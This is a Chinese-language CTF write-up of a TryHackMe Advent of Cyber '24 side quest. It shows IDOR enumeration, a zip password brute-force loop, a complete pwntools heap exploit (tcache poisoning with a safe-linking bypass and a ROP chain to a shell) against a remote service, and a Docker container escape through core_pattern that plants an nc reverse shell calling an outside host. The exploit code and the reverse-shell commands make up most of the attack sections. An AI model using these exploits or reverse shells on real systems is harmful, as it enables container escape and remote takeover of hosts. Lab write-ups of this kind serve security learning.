0%

THM打靶日寄62-Advent of Cyber '24:支线T3丑陋复现

  • keycard

    位于 day12 ,从这句话暗示出在找 IDOR 越权漏洞:

    用大字典扫多出一个 transactions

    看到需要 id

    而正常交易后会给我们一个交易id,填进去

    而这串值是32位 md5

    那么可以通过手动加密来遍历所有交易的情况,wp这里限制在 1330-1350 的范围

    然后attackbox的社区版不支持这么攻击,偷张图

    特殊长度的响应包里面返回值解码是 keycard 的地址:

    /secret/0opsIDidItAgain_MayorMalware1337.png

    BlizzardB3arM4sterCrack3rFTW

  • 逃离暴风雪

    继续 21337 关防火墙

    能扫出来 backup

    都存下来,然后尝试连接 1337

    • zip 解压

      enc 文件可以将字符串加密,而 zip 文件的密码并非是密码本中的

      那么自然用 enc 文件重新加密密码本再尝试解压:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      #!/bin/bash

      while IFS= read -r line; do
      if 7z x -y -p$(./enc $line) ./secure-storage.zip; then
      echo "found: $line"
      exit 0
      fi
      echo "test: $line"
      done

      得到密码 30510d980c6bd5b3898dd0836426807b

    • 堆的 pwn

      真不会吧,开摆,参考文献1参考文献2

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      52
      53
      54
      55
      56
      57
      58
      59
      60
      61
      62
      63
      64
      65
      66
      67
      68
      69
      70
      71
      72
      73
      74
      75
      76
      77
      78
      79
      80
      81
      82
      83
      84
      85
      86
      87
      88
      89
      90
      91
      92
      93
      94
      95
      96
      97
      98
      99
      100
      101
      102
      103
      104
      105
      106
      107
      108
      109
      110
      111
      112
      113
      114
      115
      116
      117
      118
      119
      120
      121
      122
      123
      124
      125
      126
      127
      128
      129
      130
      131
      132
      133
      134
      135
      136
      137
      138
      139
      140
      141
      142
      143
      144
      145
      146
      147
      from pwn import *

      binary = './secureStorage'
      elf = ELF(binary)
      libc = ELF('./libc.so.6')

      p = remote('10.10.245.156', 1337)
      # p = process(binary)

      def create(index,size,data):
      p.sendlineafter(b'>>', b'1')
      p.sendlineafter(b'index:', str(index).encode())
      p.sendlineafter(b'size:', str(size).encode())
      p.sendafter(b'data:', data)

      def edit(index,data):
      p.sendlineafter(b'>>', b'3')
      p.sendlineafter(b'index:', str(index).encode())
      p.sendafter(b'data:', data)

      def show(index):
      p.sendlineafter(b'>>', b'2')
      p.sendlineafter(b'index:', str(index).encode())
      p.recvline();
      return p.recvline().strip()

      # first need a libc and heap base leak

      create(0, 256, 256*b"A" + p64(0) + p64(0xc61)) # create an overflow top chunk size, 'house of orange' style
      create(1, 0xf98, b"firstlargechunk") # this will be used later, but here forces top chunk into unsorted bin

      # original top is now in unsorted bins because its size is too big for tcache bins

      # leak a libc address, by carving a portion from our unsorted bin
      # which has a libc address in it at 8: and which gets preserved in the new alloc

      create(2, 24, b"LEAKADDD")
      data = show(2)
      data = u64(data[-6:].ljust(8,b'\x00'))
      print('leaked libc: ' + hex(data))
      libc_base = data - 0x204120 # calculated using vmmap and comparing libc base the above
      print('libc\'s base: ' + hex(libc_base))
      libc.address = libc_base

      # do the same again, this time for a heap address at position 16:

      edit(2, b"LEAKADDDLEAKADDD")
      data = show(2)
      data = u64(data[-6:].ljust(8,b'\x00'))
      print('leaked heap: ' + hex(data))
      heap_base = data - 0x3a0 # calculated using vmmap and comparing to the above
      print('heap\'s base: ' + hex(heap_base))

      # now need to return to our second alloc (first big one) to overflow the new top
      # need to overflow the top size to 0x60 (61 with in use bit) so it goes into a specific tcache bin
      # under 0x410 means tcache, not unsorted. this is the 'house of tangerine' attack

      payload = b"A"*0xf98
      payload += p64(0x61) # target bin we want to hit, here 0x40 + 0x20
      edit(1, payload)
      create(3, 0xf98, b"secondlargechunk")

      # top chunk will now be in tcache 0x40 (this is the second top chunk, after the original we used for leaks)

      payload = b"secondlargechunk"
      payload += b"B"*(0xf98 - len(payload))
      payload += p64(0x61)
      edit(3, payload)
      create(4, 0x1000, b"thirdlargechunk")

      # new top chunk will be in tcache 0x40, linked to the first one

      # need to calculate the corrupted tcache address (which is xor encoded with portions of its memory address)
      # which will be our target; when we allocate off the tcache list, malloc will return this target address

      vuln_tcache = heap_base + 0x43FB0 # this is the first address after the size of the first tcache chunk, overwritable with index 2
      print("tcache address: " + hex(vuln_tcache))
      target = libc.symbols["__libc_argv"] - 0x10 # this contains an address on the stack, which can leak to use for further targeting. go back 0x10 so as not to wipe the data we want to read
      print("target address: " + hex(target))
      safe_link_addr = target ^ (vuln_tcache >> 12) # not-so-safe linking protection bypass

      payload = b"A"*0xf98
      payload += p64(0x41) # note once the bins are in the tcache, they are 0x20 smaller than they were before
      payload += p64(safe_link_addr)
      edit(3, payload)

      # allocate out of the tcache bin, corruptng it
      create(5, 0x30, b"removefirsttcache")
      create(6, 0x30, b"controllocation!") # this 'permit' will be allocated at the address we specified above

      data = show(6)
      data = u64(data[-6:].ljust(8,b'\x00'))
      print('leaked stack: ' + hex(data))
      predicted_main_ret = data - 0x120
      print('main ret: ' + hex(predicted_main_ret))

      create(7, 0xc10, b"fourthlargechunk") # just to clean out the unsorted bin - this is the size of the bin - 0x10, and results in the bin being fully allocated back on the heap
      # we do this because its size is bigger than the tcache bins we want to create next, which will likely mean any allocations would have gotten carved out of this bin instead

      # first of the new tcache bins - still in the heap at this point
      create(8, 0xbc8, b"fifthlargechunk")
      payload = b"fifthlargechunk"
      payload += b"C"*(0xbc8 - len(payload))
      payload += p64(0x421) # size of the bin we are targeting, 0x400 + 0x20
      edit(8, payload)

      # second new bin, and also it pushes the previous into the tcache
      create(9, 0xbd8, b"sixthlargechunk")
      payload = b"sixthlargechunk"
      payload += b"D"*(0xbd8 - len(payload))
      payload += p64(0x421)
      edit(9, payload)

      # this will push the second bin into the tcache bin 0x400, with the two linked
      create(10, 0x1000, b"seventhlargechunk")

      # targeting for our second arbitrary allow - the offset is calculated by the head of the tcache bin - heap base
      vuln_tcache = heap_base + 0x87BF0
      print("new vuln tcache: " + hex(vuln_tcache))
      target = predicted_main_ret - 0x8
      print("target: " + hex(target))
      safe_link_addr = target ^ (vuln_tcache >> 12)

      # load in the target
      payload = b"sixthlargechunk"
      payload += b"D"*(0xbd8 - len(payload))
      payload += p64(0x401) # 0x20 smaller than 0x420
      payload += p64(safe_link_addr)
      edit(9, payload)

      # allocate out of the tcache bin, corrupting it
      create(11, 0x3f0, b"removefirsttcache") # 0x10 (16 bytes) smaller than the tcache bin.
      # this will be at our target location

      ret = p64(libc_base + 0x1afc8c) # objdump -d libc.so.6 | grep ret
      poprdiret = p64(libc_base + 0x10f75b) # ROPgadget --binary libc.so.6 | grep 'pop rdi'
      system = p64(libc.symbols["system"])
      binsh = p64(libc_base + 0x1cb42f) # strings -a -t x libc.so.6 | grep /bin/sh
      final_payload = p64(0) + ret + poprdiret + binsh + system + p64(0)

      create(12, 0x3f0, final_payload)

      # attach(p)

      p.sendlineafter(b'>>', b'4') # exit main to trigger exploit

      p.interactive()

    • docker 逃逸

      • 不逃逸的懒狗办法

        这里引入一个很厉害的工具 cdk

        其存在一个很超模的功能:从主机读取任意文件:

      • core_pattern 核心模式突破

        • 前置-管道符 |

          在核心模式突破中,管道符告诉内核,在生成核心转储时,不将转储数据写入文件,而将数据传递给管道符后面的指定程序并交由该程序处理

          通常情况下, /proc/sys/kernel/core_pattern 用来指定程序崩溃后核心转储文件的存储路径:

          1
          echo '/tmp/core.%e.%p' > /proc/sys/kernel/core_pattern

          此将核心转储文件保存到 /tmp 下,包含崩溃的程序名 %e 和进程id %p

          但当路径以管道符 | 作为前缀时,内核不再将核心转储数据写入文件,而将其作为输入传递给指定程序,即该指定程序可在任何程序崩溃时由内核调用并执行

          1
          echo "|/usr/bin/process_core" > /proc/sys/kernel/core_pattern

          即某程序崩溃后核心转储数据被传递给 /usr/bin/process_core ,后者对数据做进一步处理

          而在 docker 逃逸中,利用这一机制将管道符后的程序路径设为自定义的恶意脚本:

          1
          echo "|/var/lib/docker/overlay2/.../diff/shell.sh" > /proc/sys/kernel/core_pattern

          此时某一程序崩溃后会由内核执行 shell.sh 脚本,而由于 core_pattern 是主机内核的配置项,那么该脚本将会在主机上运行从而实现逃逸

          linpeas 看到:

          在这种情况下,利用了容器化环境中 core_pattern 内核参数配置错误来实现逃逸。此时主机系统被配置为以某种方式存储或处理核心转储,从而暴露敏感数据或允许容器与主机交互。

          条件为:

        • 容器以特权模式运行或具有 CAP_SYS_ADMIN 来修改 /proc/sys/kernel/core_pattern

        • 可访问主机目录的写入权限
        • core_pattern 配置不安全或可被容器覆盖

          首先测试下是否可以模拟崩溃:

          1
          2
          3
          echo '/tmp/core.%e.%p' > /proc/sys/kernel/core_pattern
          python3 -c 'import os; os.abort()'
          ls /tmp

          然后就是脚本编写,为了能从主机被访问到,需要找到挂载点与覆盖文件夹:

          1
          mount

          即容器上的 / 实际位于主机上的 /var/lib/docker/overlay2/221c28c3554db6a8781a1558e327ee54b8a3d6b7266507ee7ccd8af24a05c444/diff

          / 目录下写一个反弹 shell

          1
          2
          3
          echo '#!/bin/bash' > /shell.sh
          echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.39.83 4444 >/tmp/f' >> /shell.sh
          chmod +x /shell.sh

          然后加上管道符和在主机上的完全路径:

          1
          echo "|/var/lib/docker/overlay2/221c28c3554db6a8781a1558e327ee54b8a3d6b7266507ee7ccd8af24a05c444/diff/shell.sh" > /proc/sys/kernel/core_pattern

          然后强制崩溃,在此之前攻击机开监听

          1
          python3 -c 'import os; os.abort()'